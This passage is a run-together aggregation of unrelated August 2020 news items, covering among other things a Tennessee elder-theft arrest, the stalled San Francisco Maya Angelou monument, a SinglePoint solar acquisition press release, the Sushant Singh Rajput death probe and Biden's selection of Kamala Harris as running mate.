said Harriet Hastings, who founded the company with her husband in 2007. "We were of course impacted by the closure of our icing cafes and an initial reduction of orders in our corporate division, which creates bespoke biscuits for business, although we have found that there has been growing demand for employee engagement gifting during lockdown," said Hastings. "Our focus shifted entirely to managing online orders with a much-reduced staff and reacting to changing customer demand by pivoting our product range," she added. Biscuiteers DIY kits, which allow customers to ice their own biscuits, have proved popular during the pandemic. In a bid to keep up with online demand, Biscuiteers has temporarily rented a second base for the icers to work, but social-distancing measures limit the number of staff working there at any one time. Hastings said Facebook's Workplace platform, a version of Facebook for businesses, had played an important role during the pandemic. "We introduced Workplace to help us keep the normal conversation and interconnectivity between remote workers and our frontline production staff going," said Hastings. "This helped to maintain our company culture and connections with each other, which in turn helped to keep everyone motivated and pointing in the same direction." Stone Tyres Supergenijalac | Getty Images BAKU, Azerbaijan, Aug. 11 By Asif Mehman - Trend: Constitutional Court of Azerbaijan announced decision on blocked deposits of citizens in closed banks, Member of Azerbaijani Parliaments Committee on Economic Policy, Industry and Entrepreneurship, expert Vugar Bayramov told Trend. According to Bayramov, based on the decision, those deposits which were received after applying the corrective measure, increased in volume and changed in terms, are considered protected. He noted that the "corrective measure" implies a decision to ban some banks from accepting deposits, that is, deposits received after the ban on accepting deposits in bankrupt banks are considered protected. The MP also noted that the closed banks - NBC Bank, AG Bank and ATA Bank - received deposits from the population despite the ban, and the money was blocked after they were declared bankrupt. The Constitutional Court actually made the decision in favor of the citizens, as suggested. The issue is about the return of deposits of more than 1,300 citizens in the amount of 62 million manat [$36.4 million], he said. "At the same time, the decision states that the bank deposit agreement is considered concluded from the moment the depositor transfers the deposit to the bank and must be accepted as the initial (main) agreement. The date of migration of the deposit agreement cannot be considered the moment of the deposit agreement conclusion. The issue is related to Atabank, which was announced bankrupt, Bayramov pointed out. Thus, after the closure of some branches of the bank, the deposits were transferred to another branch. The court clarified this issue, as well, he said. Its expected that after this decision, the date of return of deposits will be determined in the coming days, the return of deposits will begin soon, and the Deposit Insurance Fund will inform citizens about the issue," MP added. (1 USD = 1.7 manat on Aug.11) Bradley County Sheriffs Office deputies have taken Dawn Michelle Hyde, 42, into custody on charges of aggravated burglary, financial exploitation of an elderly adult, theft Under $1000 and fraudulent use of a debit card. Results of an investigation conducted by BCSO detectives led to these charges after Ms. Hydes actions were reported. Through the course of the investigation, detectives determined that the elderly victim was acquainted with Ms. Hyde before the theft occurred. Witnesses reported that Ms. Hyde visited the elderly adult for a brief period of time; two hours after Ms. Hydes departure, the victim realized their wallet was missing. Further investigation determined that Ms. Hyde selected her victim because of the vulnerable nature of the elderly resident and had attempted to use the stolen debit card in Bradley County before fleeing to Northeast Tennessee. I want to sincerely congratulate and thank our Fugitive Detectives as well as our Property Crimes Detectives for their excellent work in locating this criminal and working this case, said Sheriff Lawson. Anyone who would take advantage of our elderly and vulnerable citizens should be brought to justice and I look forward to doing just that. Ms. Hyde also had outstanding charges unrelated to this case: failure to appear, violation of state probation, theft under $1000 and fraudulent use of a credit card. The Muslim extremist group Boko Haram has become synonymous with violence against Christians. Christian persecution rises once again in Nigeria where Christians were brutally killed and raped. Open Doors is reaching out to worldwide Christians to help with prayer insightfully and teaches believers how to come alongside for our brothers and sisters. The broken-down tragic and complex situations are broken into seven specific areas for an easier understanding. First, The Fulani are an unreached Muslim people group. With less than 1 percent of professing Christians among them, they are yet unreached with the gospel. According to Open Doors, almost 100 percent follow Islam. Second, they are in conflict with grain farmers in Northern Nigeria's strategic Middle Belt. Most of the villagers there are grain farmers who grow good for the whole county. As climate change and environmental factors come in, Nigerian's come into contact and conflict with the Christians. Third, although socio-economic factors drive the conflict, a religious motive is clear. Christians are indiscriminately targeted and Muslims are mostly spared. Open Door's research states, "88 percent of Fulani attack victims in Nigeria's Benue State were Christians. In Taraba State, 70 percent of victims were Christians. Last but not least, in Nasarawa State, 75 percent of the victims were Christians. Fourth, the violent and brutal attacks continue to increase. Studies show January this year, more than 60,000 people died since 2001 in pastoralist-related violence. Thousands have been injured in the attacks, and hundreds of women have been kidnapped. Fulani militants have destroyed countless homes and churches and seized large swathes of land and property. Fifth, The Nigerian Christians say the government is failing them. Christians are frustrated by the lack of governmental intervention and concern over the violence and property loss. Sixth, the Christians say Nigerian President Mohammadu Buhari has not effectively addressed Fulani violence. "President act now: your people are killing us." Accordingly, his silence comes with many direct and indirect implications most of which threaten Nigeria's unity and breed instability. According to OpenDoors, he is seen as biased because he continues to talk tough on the secessionists and millitants in southern Nigeria. Seventh, Last but not least, a little help goes a long way. Open Doors shared a prayer request along with Mary Lumumba's statement, "My house was totally burned down in the Fulani crisis. I have been going from house to house begging for a bowl of corn to feed my children, but today you have given me 100 kilograms of maize all to myself. God indeed is faithful. May God bless every pocket that is given to see that we are being helped." Open Doors reminds Christians that no matter what the circumstances are, God is within us and we must support and help out our brothers and sisters as one, especially throughout the pandemic. Despite three years of promises from San Francisco City Hall, there will be no statue of Maya Angelou installed outside the Main Library by the end of this year. In fact, three years of bureaucratic bumbling have resulted in exactly zero progress toward the easily achievable, worthwhile goal. And now the artist originally selected to design our so-called progressive citys third monument to a real-life woman of the nearly 90 statues in the public collection says San Francisco isnt even worthy of an Angelou tribute. I dont feel like the city of San Francisco actually deserves a monument to Dr. Angelou I really dont, said Lava Thomas, a Black artist who lives in Berkeley. Dr. Angelou certainly deserves a monument, and I hope that San Francisco can demonstrate that it is deserving of her. After a year of attempting to pry information from the Arts Commission about why her chosen monument was rejected last year, Thomas finally received a public apology from commissioners at their meeting last week. The panel also voted unanimously to put its second attempt at commissioning an Angelou monument on hold. Thats great, but now theres no road map for ensuring the Angelou monument actually gets created. Or when. It certainly wont happen this year, which was the original timeline back in 2017 the idea being to unveil a statue to coincide with the 100th anniversary of the ratification of the 19th Amendment, giving women the right to vote. (Thats Aug. 18, by the way!) Understandably, Thomas is still stewing, refusing to have her stunning monument built until the city meets a list of demands. And, meanwhile, Supervisor Catherine Stefani is unfortunately sticking to her insistence that the artwork be a traditional statue and not a more modern, creative depiction. She said Monday shes glad the Arts Commission apologized to Thomas, because its the one that mishandled the process, but she still doesnt support Thomas monument. They gave the artist the impression that it was a done deal, when really the selection process was far from over, said Stefani, the projects sponsor. The design did not reflect the intent of my legislation, and the artist never should have been given the impression that it did. I look forward to turning the page and seeing the next round of designs. Frankly, itll be surprising to ever see a monument to Angelou outside the Main Library at this point. And if the city cant even come together to install one statue to a beloved woman everybody agrees deserves to be celebrated, how is it ever going to solve the barrage of far more complex problems we face? Yalonda M. James / The Chronicle 2019 The process began in much more promising fashion back in June 2017, when then-Supervisor Mark Farrell introduced legislation calling on the city to increase representation of women in the public sphere to 30%, starting with the monument to Angelou outside the Main Library. Of the citys 88 public statues, just two represent real women: Sen. Dianne Feinstein has a bust in City Hall, and Florence Nightingale is depicted in a statue at the main entrance of Laguna Honda Hospital. Its important that young women and women of every age see their own gender depicted across the public realm, Farrell said back then. San Francisco is exactly the right place to make it happen. In theory, yes. In reality, apparently not. Farrells legislation passed, and the Board of Supervisors and mayor allotted money for the Angelou statue. The Arts Commission began its process to pick an artist and in the summer of 2019, a selection panel opted for Thomas, whose proposal is modern, moving and beautiful. Yalonda M. James / The Chronicle Called Portrait of a Phenomenal Woman, its a 9-foot bronze book with Angelous face on the cover and a quote from the artist along the bottom reading, If one has courage, nothing can dim the light which shines from within. It depicts Angelou in her 40s with a short afro and hoop earrings. Thomas said her design was grounded in an ethos of inclusion and Black aesthetics and was partly inspired by a large rectangular monument to the writer Ralph Ellison in Harlem. The selection panel called Thomas monument quietly radical, and it was expected to easily be approved by the full Arts Commission. But then Stefani, who took over the legislation after Farrell left office, said the whole point was to create a traditional statue to Angelou, and the Arts Commission started the selection process all over again. Only after Thomas spent countless hours creating her proposal did she learn it wasnt anything like what Stefani, the projects sponsor, wanted. And she spent a year trying to figure out what happened, including, she said, filing public records requests with the Arts Commission that were never answered. Meanwhile, the commission started the artist selection from scratch, and Thomas declined to participate. Last month, the commissions visual arts committee held a meeting largely about the San Francisco statues that have been removed or toppled and what should replace them. Lava Thomas Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. During public comment, Thomas phoned in to talk about the importance of diversifying the collection and recount what happened to her proposal to honor Angelou. After the two-minute time limit for public comment expired, Dorka Keehn, chair of the visual arts committee, cut off Thomas and declined to let her finish. That prompted other people to call in to ask that Thomas be allowed to complete her statement. You cant keep treating someone like this over and over and over in a public forum and not expect some repercussions, Thomas said. The Arts Commission agreed to let Thomas read her full statement at its Aug. 3 meeting, and Keehn and commission president Roberto Ordenana issued public apologies to her. The commission also put the second attempt at finding an artist on hold. Thomas said shed consider applying again only if the commission agrees to her demands. They include Keehn stepping down as the committee chair, the commissioners and staff participating in racial and cultural equity training, and a meeting with the mayor for her and other Black women artists. There have been rumblings that Mayor London Breed didnt like Thomas monument, but its hard to believe Breed would prioritize weighing in on the design of a statue when shes coping with the COVID-19 crisis and the citys economic collapse. Jeff Cretan, Breeds spokesman, said the mayor is supportive of welcoming a new monument to Maya Angelou to the city and looks forward to hearing from the Arts Commission on next steps. Keehn did not respond to a request for comment. And here we sit three years later, nothing changed from when we started except for hurt feelings, time wasted and the citys reputation in the arts world tarnished. Angelou certainly deserved far better than this. San Francisco Chronicle columnist Heather Knight appears Sundays and Tuesdays. Email: hknight@sfchronicle.com Twitter: @hknightsf Instagram: @heatherknightsf Phoenix, Arizona - August 11, 2020 (Investorideas.com Newswire) There is a new national solar power player rising. SinglePoint, Inc. (OTCQB: SING) has stated and is executing on its strategic plan to become the next national provider of solar+ services through a targeted national roll up strategy with the goal of having residential and commercial installers and vendor partners in all 50 states. Already operating in 34 states the company currently serves residential and commercial with its industry leading sales model through Direct Solar America. The company announced its plan to acquire additional companies in the space to quickly capture market share, grow revenue and to ultimately drive long term profitability. The company has been actively targeting acquisitions that complement and provide accretive revenue to its existing solar footprint. It recently announced its subsidiary, Direct Solar America has signed a letter of intent to acquire Standard Eco who reported unaudited revenues greater than $10M the past two years and was operationally profitable. The acquisition is intended to be financed with a combination of cash (Direct Solar America) and stock (SinglePoint). The consideration for the stock will be a secured note between SinglePoint and Direct Solar America. "This is the first of a number of acquisitions we have planned as we build this national solar network," states Wil Ralston, President SinglePoint. "We will leverage the current Direct Solar sales network that is operating in 34 states to add best in class installers focused on creating a deep and powerful national offering to serve customers in every state and to most importantly take advantage of operational cost savings while benefiting from being one of, if not the only company that will be able to serve every zip code in the United States." "Once installers reach a certain size, averaging between 60-100 installations per month it becomes increasingly difficult to scale beyond that," according to Pablo Diaz, CEO Direct Solar of America. "I witnessed and lived this scalability phenomenon first hand as an active solar installer in the Southwest region of the US. One of the immediate problems is the investment in customer acquisition which we have addressed at Direct Solar America eliminating the need for local and regional installers that we acquire to have to make this investment." The planned vertical integration of our leading sales network and local installation will provide additional opportunities to create a network that has a multiplying effect on value creation and scale throughout the companies as opposed to simply having singular, siloed or "non-connected" solutions. Direct Solar America's early stage acquisition criteria is centered on multi-year installers that are doing between $5M - $15M in annual revenue. "The second inhibitor is systems that can handle operational scale," Pablo Diaz states. "As a former solar installer owner, I clearly see the benefits of creating the national solar network to leverage scalability and purchasing power through shared service resources provided by Direct Solar America and our partners to our targeted acquisitions." The world is currently experiencing the largest global pandemic in history and it's being felt by hundreds of millions. As homes have become offices, schools, summer camps, and more, Solar is in high demand. Solar is security, Solar+ battery is the comfort knowing you will have power in the event of an outage. According to EIA, of all renewable energy generation, solar PV is expected to grow the fastest from now to 2050. The future of solar energy is bright and employs hundreds of thousands and drives 10s of billions in economic value. Both presidential candidates have plans to drive further growth in the sector, meanwhile, Solar PV capacity is expected to double over the next five years. As solar grows the industry is continuing to drive innovation. With additional solar capacity, the need for battery backup has become a driving force. SinglePoint and its acquired companies will be providing solutions across the board for homeowners, commercial buildings, and industrial use complexes to offset the energy needs, provide redundancy in the event of emergency or outages and help reduce costs of energy consumption. National Solar Network consolidation has begun and the opportunity exists for a network of high quality independent contractors The acquisition of Vivint Solar by Sun Run for $1.46B in stock and assumption of $1.8B in debt signaled to the market that the solar consolidation phase has begun. This deal puts smaller providers in a precarious position as the economies of scale will be very difficult to achieve. SinglePoint believes that this deal solidifies management's plan to roll up targeted solar+ companies providing the infrastructure to compete at the highest level. We intend to build a national solar installation network targeting acquisitions primarily within our existing solar sales footprint then expand into high growth potential areas. The Solar Energy Industries Association (SEIA) report last updated June 11, 2020, the "supply chain, overhead and margin" are listed as over half of the average industry costs of $2.83 per installed watt. The Solar+ Battery Storage opportunity 2021 and beyond represents a massive opportunity for solar as both parties have introduced or supported legislation earmarking billions of dollars towards infrastructure spending is a critical and essential tool to drive economic growth. Continued ESG focused investing alongside potential infrastructure and clean energy policies, including solar focused stimulus and incentives have the potential to provide sustainable tailwinds in the near future. Excerpts from a recently published report (Morningstar Analyst Sees Potential for US Energy Independence with 100% Renewable Sources) by Travis Miller states that the country as a whole has a chance to make energy independence based on renewable sources: ... Solar already is at the top of the investment list for nearly all investors, from utilities to corporates, who want to expand their renewable energy profiles. Most of the market agrees that solar is the accepted choice for incremental renewable energy. It will only grow over the next decade as utilities and energy companies try to meet the demands from policymakers and corporates." Direct Solar America positioned to be a national solar provider capitalizing on the Solar+ Battery Storage market opportunity A Streamlined Focus on our most promising Core Business Assets The past few years at SinglePoint have been focused on preparing the public company to become fully reporting and seeking out investments and capital partners to support the growth or acquisition of companies. Moving forward we will concentrate a majority of our efforts to look for acquisitions or to make improvements in our go-forward core business segments in the solar and hemp categories. Senior management is committed to continuing to look for accretive acquisitions, supported by favorable capital that will ultimately build profitable business units with revenue growth in addition to utilizing future profits to pay down unfavorable term debt, improving cash flow, and the balance sheet. Our ultimate goal for our stakeholders and shareholders is to uplist to a higher exchange, we are positioning the Company for that eventuality but it will take improvements in revenue and profits, shareholder equity, price per share to get to a higher listed exchange. It is our belief that eventually uplisting on a higher exchange provides additional liquidity for our current shareholders and investment groups. We are committed to taking the appropriate actions at the appropriate times to continue to drive the company towards achieving its goals. About SinglePoint, Inc. SinglePoint, Inc. (OTCQB: SING) is a fully reporting company with core holdings in Solar Energy Services and Industrial Hemp based Consumer Products. Acquired in May 2019, Direct Solar America, a majority owned subsidiary, now operates its leading national solar sales brokerage model in 34 states. In the past year, Direct Solar America has virtualized its sales platform and has added its corporate offerings. 1606 Original Hemp, has been designed and created to be the premier category leader in manufacturing and marketing high quality smokable industrial hemp consumer products for sale through traditional retail channels and online. Since its debut in late 2019, 1606 Original Hemp has been placed into hundreds of retail locations across the country and has amassed a large social media following that continues to grow. The Company has a portfolio of non-core focused businesses that are searching for strategic partnerships or other alternative solutions. SinglePoint is committed to positioning the Company to be able to up list to the highest exchange possible which we feel is a benefit to our stakeholders and shareholders. Connect on social media at: https://www.facebook.com/SinglePointMobile https://twitter.com/_Singlepoint_ https://www.linkedin.com/company/singlepoint https://www.youtube.com/user/SinglePointMobile For more information visit: www.SinglePoint.com Forward-Looking Statements Certain statements in this news release may contain forward-looking information within the meaning of Rule 175 under the Securities Act of 1933 and Rule 3b-6 under the Securities Exchange Act of 1934, and are subject to the safe harbor created by those rules. All statements, other than statements of fact, included in this release, including, without limitation, statements regarding potential future plans and objectives of the Company, are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Technical complications, which may arise, could prevent the prompt implementation of any strategically significant plan(s) outlined above. The Company undertakes no duty to revise or update any forward-looking statements to reflect events or circumstances after the date of this release. SinglePoint 888-682-7464 investors@singlepoint.com Disclaimer/Disclosure: Investorideas.com is a digital publisher of third party sourced news, articles and equity research as well as creates original content, including video, interviews and articles. Original content created by investorideas is protected by copyright laws other than syndication rights. Our site does not make recommendations for purchases or sale of stocks, services or products. Nothing on our sites should be construed as an offer or solicitation to buy or sell products or securities. All investing involves risk and possible losses. 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Please read Investorideas.com privacy policy: https://www.investorideas.com/About/Private_Policy.asp Investor Ideas does not condone the use of cannabis except where permissible by law. Our site does not possess, distribute, or sell cannabis products. Late Bollywood actor Sushant Singh Rajput's father K.K. Singh had tried to contact his son's live-in partner Rhea Chakraborty to know the details of his son's ongoing medical treatment at that time, WhatsApp messages shared with the media showed. The actress, who is now the prime accused in the death case of Sushant, did not respond to any of the messages. Besides Rhea, Sushant's father also tried to connect with his son's former manager Shruti Modi and even she did not revert back to him. Modi is a co-accused in the case filed by Singh at a Patna police station on July 25. She was also both Sushant and Rhea's manager. The ED and the CBI are probing the death of the late actor, who was found hanging in his Bandra flat in Mumbai on June 14 on the complaint of Singh filed at the Rajeev Nagar police station. Sushant and his family hail from Purnea district in Bihar. Both the agencies have taken over the probe on the basis of the Bihar Police FIR. Singh in his message to Rhea at 12.34 p.m. on November 29 last year asked her to share the details of his son's treatment. In the message to Rhea, Singh said, "Jab tum jan gaee ki hum Sushant ka papa hun to baat kyu nahi ki. Aakhir baat kya hai. Friend bankar uska dekhbhal aur uska elaj karba rahi ho to mera bhi farj banta hai ki Sushant ke bare me jankari mujhe bhi rahe. Esliye call kar mujhe bhi sari jankari do (When you have come to know that its Sushant's father then why don't you speak to me. What is the reason. If you are getting Sushant treated being a friend then it is also my responsibility to know the details. Therefore call me and share all the information)." Sushant's father had sent two whtsapp msgs to rhea n shruti on Nov 2019..but he did not receive any reply.. Wow rhea..kitna natak karogi ..#ArrestRheaNow#ArrestSiddharthPithani@OfficalKangana @arnabofficial7 pic.twitter.com/jvrKO4YVSe Manisha Ghosh (@Manisha58919203) August 11, 2020 The revelations come in the backdrop of regular questioning of Rhea and her family members besides Modi, and other associated with Sushant by the ED. The CBI on Monday visited the Faridabad home of the late actor's brother-in-law, O.P. singh, who is a top police officer in Haryana. They recorded the statement of Sushant's father and sister in connection with the case. According to the Central Bureau of Investigation (CBI) sources, the family members have claimed that Sushant's death was not suicide but a murder. However, the CBI officials remained tight-lipped on the development. The father had also tried to contact Modi, on the same day he WhatsApped Rhea, November 29, asking her to book a flight ticket for Singh so that he could come to Mumbai. Singh wrote to Shruti Modi, 18 minutes before messaging Rhea. In the message, he said: "Mai janta hu ki Sushant ke sare karj aur use bhi tum hi dekhti ho. Wah abhi kis stithi me hai, iske liye bat karna chah rahe the. Kal Sushant se baat hui thi to usne kaha tha ki main bahut pareshan hu. "Ab tum socho ki ek pita ko kitni chinta hogi uske liye. Esliye tumse bat karna chah raha tha. Ab tum bat nahi kar rahi ho to mai Mumbai jana chahta hu. Flight ka ticket bhej do. (which roughly translates into 'I know you handle the expenses and other things of Sushant, and it was the reason why I wanted to speak to you. Wanted to know in which condition he is in. Yesterday I spoke to Sushant and he said that he was troubled. Now you can imagine being a father, how worried I must be for my son. It was the reason why I wanted to speak to you. And now when you are not speaking then I want to come to Mumbai. Send the flight ticket)." The ED has recorded the statement of Rhea, her brother Showik and father Indrajit on Monday. Till date the ED has questioned Rhea twice, her brother's Showik statement thrice and her father Indrajit once. For the first time on Tuesday, the ED has called Sushant's sister Mitu Singh to record her statement with the agency. A top ED official said that Mitu Singh will be recording her statement later in the day. The ED has also recorded the statement of Rhea's Chartered Accountant (CA) Ritesh Shah, Sushant's CA Sandeep Sridhar, his house manager Samuel Miranda, his flatmate Siddharth Pithani. Shruti Modi on Tuesday morning again joined the ED probe. She has been questioned by ED twice earlier. The ED had on July 31 registered a case on the basis of a Bihar Police FIR on his father's complaint that Rs 15 crore was withdrawn or transferred from his son's Kotak Mahindra Bank account. The ED had registered a case under the Prevention of Money Laundering Act (PMLA) against Rhea and her family members. Sushant's father has accused Rhea of taking money from his son and also threatening to disclose his medical reports to the media. The late actor's family has also accused her of keeping him away from them. The case was transferred to the CBI from the state police on August 6. On Monday, Rhea had moved a fresh plea in the Supreme Court, complaining that the media was unfairly holding a trial and pronouncing her guilty. She also urged the top court to ensure that she is not made a scapegoat of political agenda in the wake of the Bihar elections scheduled later this year. The plea also said that she had no objection if the court referred the matter to the CBI. The apex ourt will be hearing the matter again on Tuesday. Source: Xinhua| 2020-08-11 22:08:26|Editor: huaxia Video Player Close Cai Dafeng, vice chairman of the Standing Committee of the National People's Congress (NPC), presides over an oath-taking ceremony held by the 13th NPC Standing Committee to pledge allegiance to the Constitution at the Great Hall of the People in Beijing, capital of China, Aug. 11, 2020. (Xinhua/Zhang Ling) Karen Warren, Houston Chronicle / Staff photographer The United States has officially surpassed 5 million cases of COVID-19, and projections show the increase likely won't slow down any time soon. While businesses remain open (with restrictions) and students, faculty and staff prepare for the return to school and work, Texas has recorded 502,147 confirmed virus cases and 8,868 deaths since the pandemic began. By PTI NEW DELHI: No timeline has been fixed yet by the Ministry of Education for reopening of schools as majority of states are not in favour of it in view of the spike in COVID-19 cases, according to sources. While the government is looking at the possibility of starting some classes for senior students from September end or October, no final decision has been taken in this regard, they said. "No timeline has been fixed yet as the decision will completely depend on the pandemic situaton. Barring one union territory, no other state or UT is in favour of reoepning schools in near future," a source said. "Possibility of higher secondary classes in late September is being explored but there has been no final decision. Whenever it is decided, the Centre will only issue an advisory in this regard and states will have to take a call depending on the COVID-19 situation in their districts," the source added. Universities and schools across the country have been closed since March 16 when the Centre announced a countrywide classroom shutdown as part of measures to contain the COVID-19 outbreak. A nationwide lockdown was announced on March 24, which came into effect the next day and threw economic activities out of gear. While the government has largely eased restrictions, schools and colleges continue to remain closed. Last month, the Education Ministry had sent out a letter to states and Union Territories to furnish a feedback from parents of schoolgoing children as to when they would be comfortable with reopening of schools, August, September or October 2020. Niagara residents have to pull together on masks Re: Ontario premier calls on visitors to Niagara tourist areas to wear masks, distance, Aug. 4 Am I the only one to believe starting Friday, July 31, face masks were mandatory throughout the Niagara peninsula? Obviously, some people didnt get the message or correctly realized there wouldnt be any consequences for not obeying the mandate. Not being able to question ones medical pardon, anyone can flaunt the no face mask rule. Non-wearers should produce a medical note and store employees should have the authority to question the validity of those being non-compliant. Since the so-called mandate was issued, I have witnessed in several common areas many open faces, some putting them on only when approaching the check-outs and others simply ignoring the health factor altogether. Some local politicians arent helping the situation. One says, most people are wearing face masks and another declares were offering masks if they want to wear one. Is it mandatory or not? The majority of the people in Niagara have strictly adhered to the health and safety precautions, but remember, Were all in this together so lets pull together. It cant be one or the other. If its mandatory make it mandatory and fine non-users without medical clearance or ban them from the common areas. Barry TuttlePort Colborne Ford banks on kids not returning to school Re: Provinces back-to-school plan underfunded, say Niagaras New Democrat MPPs, July 30 Premier Doug Ford is banking on most parents keeping their kids home ... thats why hes not limiting class size in the elementary panel or providing adequate funding for hiring more teachers and creating alternate spaces to use as classrooms. Anyone whos been in a school lately, knows schools have fewer, smaller windows than ever, not all of which open for fresh air circulation. If the full cohort of students does show up in September, theres no way there can be adequate physical distancing in elementary classrooms. J. M. TaylorPort Colborne Use of physical distancing term preferred over derogatory alternative Would you use a racist term? How about a sexist or a homophobic term? How about using a derogatory name for someone with a weight problem or a derogatory name for those with health issues? If you wouldnt use these sorts of terms or names why do you think its okay to use the term social distancing? I have experienced social distancing most of my life. Trust me, it is not the same as physical distancing, a phrase which doesnt bother me in the least. Social distancing for me and others like me, in fact anyone who has been a victim of discrimination, is a very hurtful and derogatory term. I cant emphasize this enough. When I see the term in print or hear it is like being stabbed. Id like to see you, your colleagues, friends and family spend one year, let alone a lifetime, being socially distanced. I doubt youd last. While things arent as bad today as they once were, theyre still not the greatest and I still bear the scars. So I respectfully ask, no I demand, that you and your colleagues treat those of us who have experienced social distancing to show us respect and abolish using the term social distancing and replace it with the more respectful and appropriate term physical distancing. Peter D. A. WarwickSt. Catharines Letters Welcome We welcome letters from our readers. Send them to letters@niagaradailies.com or mail to 55 King St., Suite 600, St. Catharines, Ont., L2H 3HR. Letters may be edited for length and clarity. Please include your name, address and phone number for verification purposes. Read more about: WILMINGTON, Del. (AP) - Joe Biden named California Sen. Kamala Harris as his running mate on Tuesday, making history by selecting the first Black woman to compete on a major partys presidential ticket and acknowledging the vital role Black voters will play in his bid to defeat President Donald Trump. In choosing Harris, Biden is embracing a former rival from the Democratic primary who is familiar with the unique rigor of a national campaign. The 55-year-old first-term senator, who is also of South Asian descent, is one of the partys most prominent figures. She quickly became a top contender for the No. 2 spot after her own White House campaign ended. She will appear with Biden for the first time as his running mate at an event Wednesday near his home in Wilmington, Delaware. In announcing the pick, Biden called Harris a "fearless fighter for the little guy, and one of the country's finest public servants." She said Biden would "unify the American people" and "build an America that lives up to our ideals." Harris joins Biden at a moment of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 160,000 people in the U.S., far more than the toll experienced in other countries. Business closures and disruptions resulting from the pandemic have caused severe economic problems. Unrest, meanwhile, has emerged across the country as Americans protest racism and police brutality. Trumps uneven handling of the crises has given Biden an opening, and he enters the fall campaign in strong position against the president. In adding Harris to the ticket, he can point to her relatively centrist record on issues such as health care and her background in law enforcement in the nations largest state. FILE - In this June 27, 2019, file photo, then-Democratic presidential candidate Sen. Kamala Harris, D-Calif., listens to questions after the Democratic primary debate hosted by NBC News at the Adrienne Arsht Center for the Performing Art in Miami. (AP Photo/Brynn Anderson, File) The president told reporters Tuesday he was "a little surprised" that Biden picked Harris, pointing to their debate stage disputes during the primary. Trump, who had donated to her previous campaigns, argued she was "about the most liberal person in the U.S. Senate." "I would have thought that Biden would have tried to stay away from that a little bit," he said. Harriss record as California attorney general and district attorney in San Francisco was heavily scrutinized during the Democratic primary and turned away some liberals and younger Black voters who saw her as out of step on issues of racism in the legal system and police brutality. She declared herself a "progressive prosecutor" who backs law enforcement reforms. Biden, who spent eight years as President Barack Obamas vice president, has spent months weighing who would fill that same role in his White House. He pledged in March to select a woman as his vice president, easing frustration among Democrats that the presidential race would center on two white men in their 70s. Bidens search was expansive, including Massachusetts Sen. Elizabeth Warren, a leading progressive; Florida Rep. Val Demings, whose impeachment criticism of Trump won party plaudits; California Rep. Karen Bass, who leads the Congressional Black Caucus; former Obama national security adviser Susan Rice; and Atlanta Mayor Keisha Lance Bottoms, whose passionate response to unrest in her city garnered national attention. A woman has never served as president or vice president in the United States. Hillary Clinton was the Democratic presidential nominee in 2016. Two women have been nominated as running mates on major party tickets: Democrat Geraldine Ferraro in 1984 and Republican Sarah Palin in 2008. Their parties lost in the general election. The vice presidential pick carries increased significance this year. If elected, Biden would be 78 when inaugurated in January, the oldest man to ever assume the presidency. Hes spoken of himself as a transitional figure and hasnt fully committed to seeking a second term in 2024. Harris, born in 1964 to a Jamaican father and Indian mother, spent much of her formative years in Berkeley, California. She has often spoken of the deep bond she shared with her mother, whom she has called her single biggest influence. Harris won her first election in 2003 when she became San Franciscos district attorney. In that post, she created a reentry program for low-level drug offenders and cracked down on student truancy. She was elected Californias attorney general in 2010, the first woman and Black person to hold the job, and focused on issues including the foreclosure crisis. She declined to defend the states Proposition 8, which banned same-sex marriage and was later overturned by the U.S. Supreme Court. After being elected to the Senate in 2016, she quickly gained attention for her assertive questioning of Trump administration officials during congressional hearings. Harris launched her presidential campaign in early 2019 with the slogan "Kamala Harris For the People," a reference to her courtroom work. She was one of the highest-profile contenders in a crowded Democratic primary and attracted 20,000 people to her first campaign rally in Oakland. But the early promise of her campaign eventually faded. Her law enforcement background prompted skepticism from some progressives, and she struggled to land on a consistent message that resonated with voters. Facing fundraising problems, she abruptly withdrew from the race in December 2019, two months before the first votes of the primary were cast. One standout moment of her presidential campaign came at the expense of Biden. During a debate, she said Biden made "very hurtful" comments about his past work with segregationist senators and slammed his opposition to busing as schools began to integrate in the 1970s. "There was a little girl in California who was a part of the second class to integrate her public schools, and she was bused to school every day," she said. "And that little girl was me." Shaken by the attack, Biden called her comments "a mischaracterization of my position." The exchange resurfaced recently with a report that one of Bidens closest friends and a co-chair of his vice presidential vetting committee, former Connecticut Sen. Chris Dodd, still harbors concerns about the debate and that Harris hadnt expressed regret. The comments attributed to Dodd and first reported by Politico drew condemnation, especially from influential Democratic women who said Harris was being held to a standard that wouldnt apply to a man running for president. Some Biden confidants said Harris debate attack did irritate the former vice president, who had a friendly relationship with her. Harris was also close with Bidens late son, Beau, who served as Delaware attorney general while she held the same post in California. But Biden and Harris have since returned to a warm relationship. "Joe has empathy, he has a proven track record of leadership and more than ever before we need a president of the United States who understands who the people are, sees them where they are, and has a genuine desire to help and knows how to fight to get us where we need to be," Harris said at an event for Biden earlier this summer. At the same event, she bluntly assailed Trump, labeling him a "drug pusher" for his promotion of the unproven and much-questioned malaria drug hydroxychloroquine as a treatment for the coronavirus. After Trump tweeted "when the looting starts, the shooting starts" in response to protests about the death of George Floyd, a Black man in police custody, Harris said his remarks "yet again show what racism looks like." Harris has taken a tougher stand on policing since Floyds killing. She co-sponsored legislation in June that would ban police from using chokeholds and no-knock warrants, set a national use-of-force standard and create a national police misconduct registry, among other things. It would also reform the qualified immunity system that shields officers from liability. The list in the legislation included practices Harris did not vocally fight to reform while leading Californias Department of Justice. And while she now wants independent investigations of police shootings, she didnt support a 2015 California bill that would have required her office to take on such cases. "We made progress, but clearly we are not at the place yet as a country where we need to be and California is no exception," she told The Associated Press recently. The national focus on racial injustice now, she said, shows "theres no reason that we have to continue to wait." ___ Ronayne reported from Sacramento, California. Associated Press writers Alexandra Jaffe, Jill Colvin and Julie Pace contributed from Washington. FILE - In this Sept. 12, 2019, file photo, Democratic presidential candidate former Vice President Joe Biden, left, and then-candidate Sen. Kamala Harris, D-Calif. shake hands after a Democratic presidential primary debate hosted by ABC at Texas Southern University in Houston. Biden has chosen Harris as his running mate. (AP Photo/David J. Phillip, File) President Donald Trump calls on a reporter as he speaks at a news conference in the James Brady Press Briefing Room at the White House, Tuesday, Aug. 11, 2020, in Washington. (AP Photo/Andrew Harnik) FILE - In this Oct. 2, 2019, file photo, then -Democratic presidential candidate Sen. Kamala Harris, D-Calif., listens during a gun safety forum in Las Vegas. Democratic presidential candidate former Vice President Joe Biden has chosen 